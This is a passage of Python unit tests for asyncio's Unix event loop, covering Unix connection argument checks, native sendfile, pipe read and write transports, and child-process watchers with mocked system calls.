test_create_unix_connection_nossl_serverhost(self): coro = self.loop.create_unix_connection( lambda: None, os.devnull, server_hostname='spam') with self.assertRaisesRegex(ValueError, 'server_hostname is only meaningful'): self.loop.run_until_complete(coro) def test_create_unix_connection_ssl_noserverhost(self): coro = self.loop.create_unix_connection( lambda: None, os.devnull, ssl=True) with self.assertRaisesRegex( ValueError, 'you have to pass server_hostname when using ssl'): self.loop.run_until_complete(coro) def test_create_unix_connection_ssl_timeout_with_plain_sock(self): coro = self.loop.create_unix_connection(lambda: None, path='spam', ssl_handshake_timeout=1) with self.assertRaisesRegex( ValueError, 'ssl_handshake_timeout is only meaningful with ssl'): self.loop.run_until_complete(coro) @unittest.skipUnless(hasattr(os, 'sendfile'), 'sendfile is not supported') class SelectorEventLoopUnixSockSendfileTests(test_utils.TestCase): DATA = b"12345abcde" * 16 * 1024 # 160 KiB class MyProto(asyncio.Protocol): def __init__(self, loop): self.started = False self.closed = False self.data = bytearray() self.fut = loop.create_future() self.transport = None self._ready = loop.create_future() def connection_made(self, transport): self.started = True self.transport = transport self._ready.set_result(None) def data_received(self, data): self.data.extend(data) def connection_lost(self, exc): self.closed = True self.fut.set_result(None) async def wait_closed(self): await self.fut @classmethod def setUpClass(cls): with open(os_helper.TESTFN, 'wb') as fp: fp.write(cls.DATA) super().setUpClass() @classmethod def tearDownClass(cls): os_helper.unlink(os_helper.TESTFN) super().tearDownClass() def setUp(self): self.loop = asyncio.new_event_loop() self.set_event_loop(self.loop) self.file = open(os_helper.TESTFN, 'rb') self.addCleanup(self.file.close) super().setUp() def make_socket(self, cleanup=True): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setblocking(False) sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024) sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024) if cleanup: self.addCleanup(sock.close) return sock def run_loop(self, coro): return self.loop.run_until_complete(coro) def prepare(self): sock = self.make_socket() proto = self.MyProto(self.loop) port = socket_helper.find_unused_port() srv_sock = self.make_socket(cleanup=False) srv_sock.bind((socket_helper.HOST, port)) server = self.run_loop(self.loop.create_server( lambda: proto, sock=srv_sock)) self.run_loop(self.loop.sock_connect(sock, (socket_helper.HOST, port))) self.run_loop(proto._ready) def cleanup(): proto.transport.close() self.run_loop(proto.wait_closed()) server.close() self.run_loop(server.wait_closed()) self.addCleanup(cleanup) return sock, proto def test_sock_sendfile_not_available(self): sock, proto = self.prepare() with mock.patch('asyncio.unix_events.os', spec=[]): with self.assertRaisesRegex(asyncio.SendfileNotAvailableError, "os[.]sendfile[(][)] is not available"): self.run_loop(self.loop._sock_sendfile_native(sock, self.file, 0, None)) self.assertEqual(self.file.tell(), 0) def test_sock_sendfile_not_a_file(self): sock, proto = self.prepare() f = object() with self.assertRaisesRegex(asyncio.SendfileNotAvailableError, "not a regular file"): self.run_loop(self.loop._sock_sendfile_native(sock, f, 0, None)) self.assertEqual(self.file.tell(), 0) def test_sock_sendfile_iobuffer(self): sock, proto = self.prepare() f = io.BytesIO() with self.assertRaisesRegex(asyncio.SendfileNotAvailableError, "not a regular file"): self.run_loop(self.loop._sock_sendfile_native(sock, f, 0, None)) self.assertEqual(self.file.tell(), 0) def test_sock_sendfile_not_regular_file(self): sock, proto = self.prepare() f = mock.Mock() f.fileno.return_value = -1 with self.assertRaisesRegex(asyncio.SendfileNotAvailableError, "not a regular file"): self.run_loop(self.loop._sock_sendfile_native(sock, f, 0, None)) self.assertEqual(self.file.tell(), 0) def test_sock_sendfile_cancel1(self): sock, proto = self.prepare() fut = self.loop.create_future() fileno = self.file.fileno() self.loop._sock_sendfile_native_impl(fut, None, sock, fileno, 0, None, len(self.DATA), 0) fut.cancel() with contextlib.suppress(asyncio.CancelledError): self.run_loop(fut) with self.assertRaises(KeyError): self.loop._selector.get_key(sock) def test_sock_sendfile_cancel2(self): sock, proto = self.prepare() fut = self.loop.create_future() fileno = self.file.fileno() self.loop._sock_sendfile_native_impl(fut, None, sock, fileno, 0, None, len(self.DATA), 0) fut.cancel() self.loop._sock_sendfile_native_impl(fut, sock.fileno(), sock, fileno, 0, None, len(self.DATA), 0) with self.assertRaises(KeyError): self.loop._selector.get_key(sock) def test_sock_sendfile_blocking_error(self): sock, proto = self.prepare() fileno = self.file.fileno() fut = mock.Mock() fut.cancelled.return_value = False with mock.patch('os.sendfile', side_effect=BlockingIOError()): self.loop._sock_sendfile_native_impl(fut, None, sock, fileno, 0, None, len(self.DATA), 0) key = self.loop._selector.get_key(sock) self.assertIsNotNone(key) fut.add_done_callback.assert_called_once_with(mock.ANY) def test_sock_sendfile_os_error_first_call(self): sock, proto = self.prepare() fileno = self.file.fileno() fut = self.loop.create_future() with mock.patch('os.sendfile', side_effect=OSError()): self.loop._sock_sendfile_native_impl(fut, None, sock, fileno, 0, None, len(self.DATA), 0) with self.assertRaises(KeyError): self.loop._selector.get_key(sock) exc = fut.exception() self.assertIsInstance(exc, asyncio.SendfileNotAvailableError) self.assertEqual(0, self.file.tell()) def test_sock_sendfile_os_error_next_call(self): sock, proto = self.prepare() fileno = self.file.fileno() fut = self.loop.create_future() err = OSError() with mock.patch('os.sendfile', side_effect=err): self.loop._sock_sendfile_native_impl(fut, sock.fileno(), sock, fileno, 1000, None, len(self.DATA), 1000) with self.assertRaises(KeyError): self.loop._selector.get_key(sock) exc = fut.exception() self.assertIs(exc, err) self.assertEqual(1000, self.file.tell()) def test_sock_sendfile_exception(self): sock, proto = self.prepare() fileno = self.file.fileno() fut = self.loop.create_future() err = asyncio.SendfileNotAvailableError() with mock.patch('os.sendfile', side_effect=err): self.loop._sock_sendfile_native_impl(fut, sock.fileno(), sock, fileno, 1000, None, len(self.DATA), 1000) with self.assertRaises(KeyError): self.loop._selector.get_key(sock) exc = fut.exception() self.assertIs(exc, err) self.assertEqual(1000, self.file.tell()) class UnixReadPipeTransportTests(test_utils.TestCase): def setUp(self): super().setUp() self.loop = self.new_test_loop() self.protocol = test_utils.make_test_protocol(asyncio.Protocol) self.pipe = mock.Mock(spec_set=io.RawIOBase) self.pipe.fileno.return_value = 5 blocking_patcher = mock.patch('os.set_blocking') blocking_patcher.start() self.addCleanup(blocking_patcher.stop) fstat_patcher = mock.patch('os.fstat') m_fstat = fstat_patcher.start() st = mock.Mock() st.st_mode = stat.S_IFIFO m_fstat.return_value = st self.addCleanup(fstat_patcher.stop) def read_pipe_transport(self, waiter=None): transport = unix_events._UnixReadPipeTransport(self.loop, self.pipe, self.protocol, waiter=waiter) self.addCleanup(close_pipe_transport, transport) return transport def test_ctor(self): waiter = self.loop.create_future() tr = self.read_pipe_transport(waiter=waiter) self.loop.run_until_complete(waiter) self.protocol.connection_made.assert_called_with(tr) self.loop.assert_reader(5, tr._read_ready) self.assertIsNone(waiter.result()) @mock.patch('os.read') def test__read_ready(self, m_read): tr = self.read_pipe_transport() m_read.return_value = b'data' tr._read_ready() m_read.assert_called_with(5, tr.max_size) self.protocol.data_received.assert_called_with(b'data') @mock.patch('os.read') def test__read_ready_eof(self, m_read): tr = self.read_pipe_transport() m_read.return_value = b'' tr._read_ready() m_read.assert_called_with(5, tr.max_size) self.assertFalse(self.loop.readers) test_utils.run_briefly(self.loop) self.protocol.eof_received.assert_called_with() self.protocol.connection_lost.assert_called_with(None) @mock.patch('os.read') def test__read_ready_blocked(self, m_read): tr = self.read_pipe_transport() m_read.side_effect = BlockingIOError tr._read_ready() m_read.assert_called_with(5, tr.max_size) test_utils.run_briefly(self.loop) self.assertFalse(self.protocol.data_received.called) @mock.patch('asyncio.log.logger.error') @mock.patch('os.read') def test__read_ready_error(self, m_read, m_logexc): tr = self.read_pipe_transport() err = OSError() m_read.side_effect = err tr._close = mock.Mock() tr._read_ready() m_read.assert_called_with(5, tr.max_size) tr._close.assert_called_with(err) m_logexc.assert_called_with( test_utils.MockPattern( 'Fatal read error on pipe transport' '\nprotocol:.*\ntransport:.*'), exc_info=(OSError, MOCK_ANY, MOCK_ANY)) @mock.patch('os.read') def test_pause_reading(self, m_read): tr = self.read_pipe_transport() m = mock.Mock() self.loop.add_reader(5, m) tr.pause_reading() self.assertFalse(self.loop.readers) @mock.patch('os.read') def test_resume_reading(self, m_read): tr = self.read_pipe_transport() tr.pause_reading() tr.resume_reading() self.loop.assert_reader(5, tr._read_ready) @mock.patch('os.read') def test_close(self, m_read): tr = self.read_pipe_transport() tr._close = mock.Mock() tr.close() tr._close.assert_called_with(None) @mock.patch('os.read') def test_close_already_closing(self, m_read): tr = self.read_pipe_transport() tr._closing = True tr._close = mock.Mock() tr.close() self.assertFalse(tr._close.called) @mock.patch('os.read') def test__close(self, m_read): tr = self.read_pipe_transport() err = object() tr._close(err) self.assertTrue(tr.is_closing()) self.assertFalse(self.loop.readers) test_utils.run_briefly(self.loop) self.protocol.connection_lost.assert_called_with(err) def test__call_connection_lost(self): tr = self.read_pipe_transport() self.assertIsNotNone(tr._protocol) self.assertIsNotNone(tr._loop) err = None tr._call_connection_lost(err) self.protocol.connection_lost.assert_called_with(err) self.pipe.close.assert_called_with() self.assertIsNone(tr._protocol) self.assertIsNone(tr._loop) def test__call_connection_lost_with_err(self): tr = self.read_pipe_transport() self.assertIsNotNone(tr._protocol) self.assertIsNotNone(tr._loop) err = OSError() tr._call_connection_lost(err) self.protocol.connection_lost.assert_called_with(err) self.pipe.close.assert_called_with() self.assertIsNone(tr._protocol) self.assertIsNone(tr._loop) def test_pause_reading_on_closed_pipe(self): tr = self.read_pipe_transport() tr.close() test_utils.run_briefly(self.loop) self.assertIsNone(tr._loop) tr.pause_reading() def test_pause_reading_on_paused_pipe(self): tr = self.read_pipe_transport() tr.pause_reading() # the second call should do nothing tr.pause_reading() def test_resume_reading_on_closed_pipe(self): tr = self.read_pipe_transport() tr.close() test_utils.run_briefly(self.loop) self.assertIsNone(tr._loop) tr.resume_reading() def test_resume_reading_on_paused_pipe(self): tr = self.read_pipe_transport() # the pipe is not paused # resuming should do nothing tr.resume_reading() class UnixWritePipeTransportTests(test_utils.TestCase): def setUp(self): super().setUp() self.loop = self.new_test_loop() self.protocol = test_utils.make_test_protocol(asyncio.BaseProtocol) self.pipe = mock.Mock(spec_set=io.RawIOBase) self.pipe.fileno.return_value = 5 blocking_patcher = mock.patch('os.set_blocking') blocking_patcher.start() self.addCleanup(blocking_patcher.stop) fstat_patcher = mock.patch('os.fstat') m_fstat = fstat_patcher.start() st = mock.Mock() st.st_mode = stat.S_IFSOCK m_fstat.return_value = st self.addCleanup(fstat_patcher.stop) def write_pipe_transport(self, waiter=None): transport = unix_events._UnixWritePipeTransport(self.loop, self.pipe, self.protocol, waiter=waiter) self.addCleanup(close_pipe_transport, transport) return transport def test_ctor(self): waiter = self.loop.create_future() tr = self.write_pipe_transport(waiter=waiter) self.loop.run_until_complete(waiter) self.protocol.connection_made.assert_called_with(tr) self.loop.assert_reader(5, tr._read_ready) self.assertEqual(None, waiter.result()) def test_can_write_eof(self): tr = self.write_pipe_transport() self.assertTrue(tr.can_write_eof()) @mock.patch('os.write') def test_write(self, m_write): tr = self.write_pipe_transport() m_write.return_value = 4 tr.write(b'data') m_write.assert_called_with(5, b'data') self.assertFalse(self.loop.writers) self.assertEqual(bytearray(), tr._buffer) @mock.patch('os.write') def test_write_no_data(self, m_write): tr = self.write_pipe_transport() tr.write(b'') self.assertFalse(m_write.called) self.assertFalse(self.loop.writers) self.assertEqual(bytearray(b''), tr._buffer) @mock.patch('os.write') def test_write_partial(self, m_write): tr = self.write_pipe_transport() m_write.return_value = 2 tr.write(b'data') self.loop.assert_writer(5, tr._write_ready) self.assertEqual(bytearray(b'ta'), tr._buffer) @mock.patch('os.write') def test_write_buffer(self, m_write): tr = self.write_pipe_transport() self.loop.add_writer(5, tr._write_ready) tr._buffer = bytearray(b'previous') tr.write(b'data') self.assertFalse(m_write.called) self.loop.assert_writer(5, tr._write_ready) self.assertEqual(bytearray(b'previousdata'), tr._buffer) @mock.patch('os.write') def test_write_again(self, m_write): tr = self.write_pipe_transport() m_write.side_effect = BlockingIOError() tr.write(b'data') m_write.assert_called_with(5, bytearray(b'data')) self.loop.assert_writer(5, tr._write_ready) self.assertEqual(bytearray(b'data'), tr._buffer) @mock.patch('asyncio.unix_events.logger') @mock.patch('os.write') def test_write_err(self, m_write, m_log): tr = self.write_pipe_transport() err = OSError() m_write.side_effect = err tr._fatal_error = mock.Mock() tr.write(b'data') m_write.assert_called_with(5, b'data') self.assertFalse(self.loop.writers) self.assertEqual(bytearray(), tr._buffer) tr._fatal_error.assert_called_with( err, 'Fatal write error on pipe transport') self.assertEqual(1, tr._conn_lost) tr.write(b'data') self.assertEqual(2, tr._conn_lost) tr.write(b'data') tr.write(b'data') tr.write(b'data') tr.write(b'data') # This is a bit overspecified. :-( m_log.warning.assert_called_with( 'pipe closed by peer or os.write(pipe, data) raised exception.') tr.close() @mock.patch('os.write') def test_write_close(self, m_write): tr = self.write_pipe_transport() tr._read_ready() # pipe was closed by peer tr.write(b'data') self.assertEqual(tr._conn_lost, 1) tr.write(b'data') self.assertEqual(tr._conn_lost, 2) def test__read_ready(self): tr = self.write_pipe_transport() tr._read_ready() self.assertFalse(self.loop.readers) self.assertFalse(self.loop.writers) self.assertTrue(tr.is_closing()) test_utils.run_briefly(self.loop) self.protocol.connection_lost.assert_called_with(None) @mock.patch('os.write') def test__write_ready(self, m_write): tr = self.write_pipe_transport() self.loop.add_writer(5, tr._write_ready) tr._buffer = bytearray(b'data') m_write.return_value = 4 tr._write_ready() self.assertFalse(self.loop.writers) self.assertEqual(bytearray(), tr._buffer) @mock.patch('os.write') def test__write_ready_partial(self, m_write): tr = self.write_pipe_transport() self.loop.add_writer(5, tr._write_ready) tr._buffer = bytearray(b'data') m_write.return_value = 3 tr._write_ready() self.loop.assert_writer(5, tr._write_ready) self.assertEqual(bytearray(b'a'), tr._buffer) @mock.patch('os.write') def test__write_ready_again(self, m_write): tr = self.write_pipe_transport() self.loop.add_writer(5, tr._write_ready) tr._buffer = bytearray(b'data') m_write.side_effect = BlockingIOError() tr._write_ready() m_write.assert_called_with(5, bytearray(b'data')) self.loop.assert_writer(5, tr._write_ready) self.assertEqual(bytearray(b'data'), tr._buffer) @mock.patch('os.write') def test__write_ready_empty(self, m_write): tr = self.write_pipe_transport() self.loop.add_writer(5, tr._write_ready) tr._buffer = bytearray(b'data') m_write.return_value = 0 tr._write_ready() m_write.assert_called_with(5, bytearray(b'data')) self.loop.assert_writer(5, tr._write_ready) self.assertEqual(bytearray(b'data'), tr._buffer) @mock.patch('asyncio.log.logger.error') @mock.patch('os.write') def test__write_ready_err(self, m_write, m_logexc): tr = self.write_pipe_transport() self.loop.add_writer(5, tr._write_ready) tr._buffer = bytearray(b'data') m_write.side_effect = err = OSError() tr._write_ready() self.assertFalse(self.loop.writers) self.assertFalse(self.loop.readers) self.assertEqual(bytearray(), tr._buffer) self.assertTrue(tr.is_closing()) m_logexc.assert_not_called() self.assertEqual(1, tr._conn_lost) test_utils.run_briefly(self.loop) self.protocol.connection_lost.assert_called_with(err) @mock.patch('os.write') def test__write_ready_closing(self, m_write): tr = self.write_pipe_transport() self.loop.add_writer(5, tr._write_ready) tr._closing = True tr._buffer = bytearray(b'data') m_write.return_value = 4 tr._write_ready() self.assertFalse(self.loop.writers) self.assertFalse(self.loop.readers) self.assertEqual(bytearray(), tr._buffer) self.protocol.connection_lost.assert_called_with(None) self.pipe.close.assert_called_with() @mock.patch('os.write') def test_abort(self, m_write): tr = self.write_pipe_transport() self.loop.add_writer(5, tr._write_ready) self.loop.add_reader(5, tr._read_ready) tr._buffer = [b'da', b'ta'] tr.abort() self.assertFalse(m_write.called) self.assertFalse(self.loop.readers) self.assertFalse(self.loop.writers) self.assertEqual([], tr._buffer) self.assertTrue(tr.is_closing()) test_utils.run_briefly(self.loop) self.protocol.connection_lost.assert_called_with(None) def test__call_connection_lost(self): tr = self.write_pipe_transport() self.assertIsNotNone(tr._protocol) self.assertIsNotNone(tr._loop) err = None tr._call_connection_lost(err) self.protocol.connection_lost.assert_called_with(err) self.pipe.close.assert_called_with() self.assertIsNone(tr._protocol) self.assertIsNone(tr._loop) def test__call_connection_lost_with_err(self): tr = self.write_pipe_transport() self.assertIsNotNone(tr._protocol) self.assertIsNotNone(tr._loop) err = OSError() tr._call_connection_lost(err) self.protocol.connection_lost.assert_called_with(err) self.pipe.close.assert_called_with() self.assertIsNone(tr._protocol) self.assertIsNone(tr._loop) def test_close(self): tr = self.write_pipe_transport() tr.write_eof = mock.Mock() tr.close() tr.write_eof.assert_called_with() # closing the transport twice must not fail tr.close() def test_close_closing(self): tr = self.write_pipe_transport() tr.write_eof = mock.Mock() tr._closing = True tr.close() self.assertFalse(tr.write_eof.called) def test_write_eof(self): tr = self.write_pipe_transport() tr.write_eof() self.assertTrue(tr.is_closing()) self.assertFalse(self.loop.readers) test_utils.run_briefly(self.loop) self.protocol.connection_lost.assert_called_with(None) def test_write_eof_pending(self): tr = self.write_pipe_transport() tr._buffer = [b'data'] tr.write_eof() self.assertTrue(tr.is_closing()) self.assertFalse(self.protocol.connection_lost.called) class AbstractChildWatcherTests(unittest.TestCase): def test_not_implemented(self): f = mock.Mock() watcher = asyncio.AbstractChildWatcher() self.assertRaises( NotImplementedError, watcher.add_child_handler, f, f) self.assertRaises( NotImplementedError, watcher.remove_child_handler, f) self.assertRaises( NotImplementedError, watcher.attach_loop, f) self.assertRaises( NotImplementedError, watcher.close) self.assertRaises( NotImplementedError, watcher.is_active) self.assertRaises( NotImplementedError, watcher.__enter__) self.assertRaises( NotImplementedError, watcher.__exit__, f, f, f) class BaseChildWatcherTests(unittest.TestCase): def test_not_implemented(self): f = mock.Mock() watcher = unix_events.BaseChildWatcher() self.assertRaises( NotImplementedError, watcher._do_waitpid, f) class ChildWatcherTestsMixin: ignore_warnings = mock.patch.object(log.logger, "warning") def setUp(self): super().setUp() self.loop = self.new_test_loop() self.running = False self.zombies = {} with mock.patch.object( self.loop, "add_signal_handler") as self.m_add_signal_handler: self.watcher = self.create_watcher() self.watcher.attach_loop(self.loop) def waitpid(self, pid, flags): if isinstance(self.watcher, asyncio.SafeChildWatcher) or pid != -1: self.assertGreater(pid, 0) try: if pid < 0: return self.zombies.popitem() else: return pid, self.zombies.pop(pid) except KeyError: pass if self.running: return 0, 0 else: raise ChildProcessError() def add_zombie(self, pid, status): self.zombies[pid] = status def waitstatus_to_exitcode(self, status): if status > 32768: return status - 32768 elif 32700 < status < 32768: return status - 32768 else: return status def test_create_watcher(self): self.m_add_signal_handler.assert_called_once_with( signal.SIGCHLD, self.watcher._sig_chld) def waitpid_mocks(func): def wrapped_func(self): def patch(target, wrapper): return mock.patch(target, wraps=wrapper, new_callable=mock.Mock) with patch('asyncio.unix_events.waitstatus_to_exitcode', self.waitstatus_to_exitcode), \ patch('os.waitpid', self.waitpid) as m_waitpid: func(self, m_waitpid) return wrapped_func @waitpid_mocks def test_sigchld(self, m_waitpid): # register a child callback = mock.Mock() with self.watcher: self.running = True self.watcher.add_child_handler(42, callback, 9, 10, 14) self.assertFalse(callback.called) # child is running self.watcher._sig_chld() self.assertFalse(callback.called) # child terminates (returncode 12) self.running = False self.add_zombie(42, EXITCODE(12)) self.watcher._sig_chld() callback.assert_called_once_with(42, 12, 9, 10, 14) callback.reset_mock() # ensure that the child is effectively reaped self.add_zombie(42, EXITCODE(13)) with self.ignore_warnings: self.watcher._sig_chld() self.assertFalse(callback.called) # sigchld called again self.zombies.clear() self.watcher._sig_chld() self.assertFalse(callback.called) @waitpid_mocks def test_sigchld_two_children(self, m_waitpid): callback1 = mock.Mock() callback2 = mock.Mock() # register child 1 with self.watcher: self.running = True self.watcher.add_child_handler(43, callback1, 7, 8) self.assertFalse(callback1.called) self.assertFalse(callback2.called) # register child 2 with self.watcher: self.watcher.add_child_handler(44, callback2, 147, 18) self.assertFalse(callback1.called) self.assertFalse(callback2.called) # children are running self.watcher._sig_chld() self.assertFalse(callback1.called) self.assertFalse(callback2.called) # child 1 terminates (signal 3) self.add_zombie(43, SIGNAL(3)) self.watcher._sig_chld() callback1.assert_called_once_with(43, -3, 7, 8) self.assertFalse(callback2.called) callback1.reset_mock() # child 2 still running self.watcher._sig_chld() self.assertFalse(callback1.called) self.assertFalse(callback2.called) # child 2 terminates (code 108) self.add_zombie(44, EXITCODE(108)) self.running = False self.watcher._sig_chld() callback2.assert_called_once_with(44, 108, 147, 18) self.assertFalse(callback1.called) callback2.reset_mock() # ensure that the children are effectively reaped self.add_zombie(43, EXITCODE(14)) self.add_zombie(44, EXITCODE(15)) with self.ignore_warnings: self.watcher._sig_chld() self.assertFalse(callback1.called) self.assertFalse(callback2.called) # sigchld called again self.zombies.clear() self.watcher._sig_chld() self.assertFalse(callback1.called) self.assertFalse(callback2.called) @waitpid_mocks def test_sigchld_two_children_terminating_together(self, m_waitpid): callback1 = mock.Mock() callback2 = mock.Mock() # register child 1 with self.watcher: self.running = True self.watcher.add_child_handler(45, callback1, 17, 8) self.assertFalse(callback1.called) self.assertFalse(callback2.called) # register child 2 with self.watcher: self.watcher.add_child_handler(46, callback2, 1147, 18) self.assertFalse(callback1.called) self.assertFalse(callback2.called) # children are running self.watcher._sig_chld() self.assertFalse(callback1.called) self.assertFalse(callback2.called) # child 1 terminates (code 78) # child 2 terminates (signal 5) self.add_zombie(45, EXITCODE(78)) self.add_zombie(46, SIGNAL(5)) self.running = False self.watcher._sig_chld() callback1.assert_called_once_with(45, 78, 17, 8) callback2.assert_called_once_with(46, -5, 1147, 18) callback1.reset_mock() callback2.reset_mock() # ensure that the children are effectively reaped self.add_zombie(45, EXITCODE(14)) self.add_zombie(46, EXITCODE(15)) with self.ignore_warnings: self.watcher._sig_chld() self.assertFalse(callback1.called) self.assertFalse(callback2.called) @waitpid_mocks def test_sigchld_race_condition(self, m_waitpid): # register a child callback = mock.Mock() with self.watcher: # child terminates before being registered self.add_zombie(50, EXITCODE(4)) self.watcher._sig_chld() self.watcher.add_child_handler(50, callback, 1, 12) callback.assert_called_once_with(50, 4, 1, 12) callback.reset_mock() # ensure that the child is effectively reaped self.add_zombie(50, SIGNAL(1)) with self.ignore_warnings: self.watcher._sig_chld() self.assertFalse(callback.called) @waitpid_mocks def test_sigchld_replace_handler(self, m_waitpid): callback1 = mock.Mock() callback2 = mock.Mock() # register a child with self.watcher: self.running = True self.watcher.add_child_handler(51, callback1, 19) self.assertFalse(callback1.called) self.assertFalse(callback2.called) # register the same child again with self.watcher: self.watcher.add_child_handler(51, callback2, 21) self.assertFalse(callback1.called) self.assertFalse(callback2.called) # child terminates (signal 8) self.running = False self.add_zombie(51, SIGNAL(8)) self.watcher._sig_chld() callback2.assert_called_once_with(51, -8, 21) self.assertFalse(callback1.called) callback2.reset_mock() # ensure that the child is effectively reaped self.add_zombie(51, EXITCODE(13)) with self.ignore_warnings: self.watcher._sig_chld() self.assertFalse(callback1.called) self.assertFalse(callback2.called) @waitpid_mocks def test_sigchld_remove_handler(self, m_waitpid): callback = mock.Mock() # register a child with self.watcher: self.running = True self.watcher.add_child_handler(52, callback, 1984) self.assertFalse(callback.called) # unregister the child self.watcher.remove_child_handler(52) self.assertFalse(callback.called) # child terminates (code 99) self.running = False self.add_zombie(52, EXITCODE(99)) with self.ignore_warnings: self.watcher._sig_chld() self.assertFalse(callback.called) @waitpid_mocks def test_sigchld_unknown_status(self, m_waitpid): callback = mock.Mock() # register a child with self.watcher: self.running = True self.watcher.add_child_handler(53, callback, -19) self.assertFalse(callback.called) # terminate with unknown status self.zombies[53] = 1178 self.running = False self.watcher._sig_chld() callback.assert_called_once_with(53, 1178, -19) callback.reset_mock() # ensure that the child is effectively reaped self.add_zombie(53, EXITCODE(101)) with self.ignore_warnings: self.watcher._sig_chld() self.assertFalse(callback.called) @waitpid_mocks def test_remove_child_handler(self, m_waitpid): callback1 = mock.Mock() callback2 = mock.Mock() callback3 = mock.Mock() # register children with self.watcher: self.running = True self.watcher.add_child_handler(54, callback1, 1) self.watcher.add_child_handler(55, callback2, 2) self.watcher.add_child_handler(56, callback3, 3) # remove child handler 1 self.assertTrue(self.watcher.remove_child_handler(54)) # remove child handler 2 multiple times self.assertTrue(self.watcher.remove_child_handler(55)) self.assertFalse(self.watcher.remove_child_handler(55)) self.assertFalse(self.watcher.remove_child_handler(55)) # all children terminate self.add_zombie(54, EXITCODE(0)) self.add_zombie(55, EXITCODE(1)) self.add_zombie(56, EXITCODE(2)) self.running = False with self.ignore_warnings: self.watcher._sig_chld() self.assertFalse(callback1.called) self.assertFalse(callback2.called) callback3.assert_called_once_with(56, 2, 3) @waitpid_mocks def test_sigchld_unhandled_exception(self, m_waitpid): callback = mock.Mock() # register a child with self.watcher: self.running = True self.watcher.add_child_handler(57, callback) # raise an exception m_waitpid.side_effect = ValueError with mock.patch.object(log.logger, 'error') as m_error: self.assertEqual(self.watcher._sig_chld(), None) self.assertTrue(m_error.called) @waitpid_mocks def test_sigchld_child_reaped_elsewhere(self, m_waitpid): # register a child callback = mock.Mock() with self.watcher: self.running = True self.watcher.add_child_handler(58, callback) self.assertFalse(callback.called) # child terminates self.running = False self.add_zombie(58, EXITCODE(4)) # waitpid is called elsewhere os.waitpid(58, os.WNOHANG) m_waitpid.reset_mock() # sigchld with self.ignore_warnings: self.watcher._sig_chld() if isinstance(self.watcher, asyncio.FastChildWatcher): # here the FastChildWatche enters a deadlock # (there is no way to prevent it) self.assertFalse(callback.called) else: callback.assert_called_once_with(58, 255) @waitpid_mocks def test_sigchld_unknown_pid_during_registration(self, m_waitpid): # register two children callback1 = mock.Mock() callback2 = mock.Mock() with self.ignore_warnings, self.watcher: self.running = True # child 1 terminates self.add_zombie(591, EXITCODE(7)) # an unknown child terminates self.add_zombie(593, EXITCODE(17)) self.watcher._sig_chld() self.watcher.add_child_handler(591, callback1) self.watcher.add_child_handler(592, callback2) callback1.assert_called_once_with(591, 7) self.assertFalse(callback2.called) @waitpid_mocks def test_set_loop(self, m_waitpid): # register a child callback = mock.Mock() with self.watcher: self.running = True self.watcher.add_child_handler(60, callback) # attach a new loop old_loop = self.loop self.loop = self.new_test_loop() patch = mock.patch.object with patch(old_loop, "remove_signal_handler") as m_old_remove, \ patch(self.loop, "add_signal_handler") as m_new_add: self.watcher.attach_loop(self.loop) m_old_remove.assert_called_once_with( signal.SIGCHLD) m_new_add.assert_called_once_with( signal.SIGCHLD, self.watcher._sig_chld) # child terminates self.running = False self.add_zombie(60, EXITCODE(9)) self.watcher._sig_chld() callback.assert_called_once_with(60, 9) @waitpid_mocks def test_set_loop_race_condition(self, m_waitpid): # register 3 children callback1 = mock.Mock() callback2 = mock.Mock() callback3 = mock.Mock() with self.watcher: self.running = True self.watcher.add_child_handler(61, callback1) self.watcher.add_child_handler(62, callback2) self.watcher.add_child_handler(622, callback3) # detach the loop old_loop = self.loop self.loop = None with mock.patch.object( old_loop, "remove_signal_handler") as m_remove_signal_handler: with self.assertWarnsRegex( RuntimeWarning, 'A loop is being detached'): self.watcher.attach_loop(None) m_remove_signal_handler.assert_called_once_with( signal.SIGCHLD) # child 1 & 2 terminate self.add_zombie(61, EXITCODE(11)) self.add_zombie(62, SIGNAL(5)) # SIGCHLD was not caught self.assertFalse(callback1.called) self.assertFalse(callback2.called) self.assertFalse(callback3.called) # attach a new loop self.loop = self.new_test_loop() with mock.patch.object( self.loop, "add_signal_handler") as m_add_signal_handler: self.watcher.attach_loop(self.loop) m_add_signal_handler.assert_called_once_with( signal.SIGCHLD, self.watcher._sig_chld) callback1.assert_called_once_with(61, 11) # race condition! callback2.assert_called_once_with(62, -5) # race condition! self.assertFalse(callback3.called) callback1.reset_mock() callback2.reset_mock() # child 3 terminates self.running = False self.add_zombie(622, EXITCODE(19)) self.watcher._sig_chld() self.assertFalse(callback1.called) self.assertFalse(callback2.called) callback3.assert_called_once_with(622, 19) @waitpid_mocks def test_close(self, m_waitpid): # register two children callback1 = mock.Mock() with self.watcher: self.running = True # child 1 terminates self.add_zombie(63, EXITCODE(9)) # other child terminates self.add_zombie(65, EXITCODE(18)) self.watcher._sig_chld() self.watcher.add_child_handler(63, callback1) self.watcher.add_child_handler(64, callback1) self.assertEqual(len(self.watcher._callbacks), 1) if isinstance(self.watcher, asyncio.FastChildWatcher): self.assertEqual(len(self.watcher._zombies), 1) with mock.patch.object( self.loop, "remove_signal_handler") as m_remove_signal_handler: self.watcher.close() m_remove_signal_handler.assert_called_once_with( signal.SIGCHLD) self.assertFalse(self.watcher._callbacks) if isinstance(self.watcher, asyncio.FastChildWatcher): self.assertFalse(self.watcher._zombies) class SafeChildWatcherTests (ChildWatcherTestsMixin, test_utils.TestCase): def create_watcher(self): return asyncio.SafeChildWatcher() class FastChildWatcherTests (ChildWatcherTestsMixin, test_utils.TestCase): def create_watcher(self): return asyncio.FastChildWatcher() class PolicyTests(unittest.TestCase): def create_policy(self): return asyncio.DefaultEventLoopPolicy() def test_get_default_child_watcher(self): policy = self.create_policy() self.assertIsNone(policy._watcher) watcher = policy.get_child_watcher() self.assertIsInstance(watcher, asyncio.ThreadedChildWatcher) self.assertIs(policy._watcher, watcher) self.assertIs(watcher, policy.get_child_watcher()) def test_get_child_watcher_after_set(self): policy = self.create_policy() watcher = asyncio.FastChildWatcher() policy.set_child_watcher(watcher) self.assertIs(policy._watcher, watcher) self.assertIs(watcher, policy.get_child_watcher()) def test_get_child_watcher_thread(self): def f(): policy.set_event_loop(policy.new_event_loop()) self.assertIsInstance(policy.get_event_loop(), asyncio.AbstractEventLoop) watcher = policy.get_child_watcher() self.assertIsInstance(watcher, asyncio.SafeChildWatcher) self.assertIsNone(watcher._loop) policy.get_event_loop().close() policy = self.create_policy() 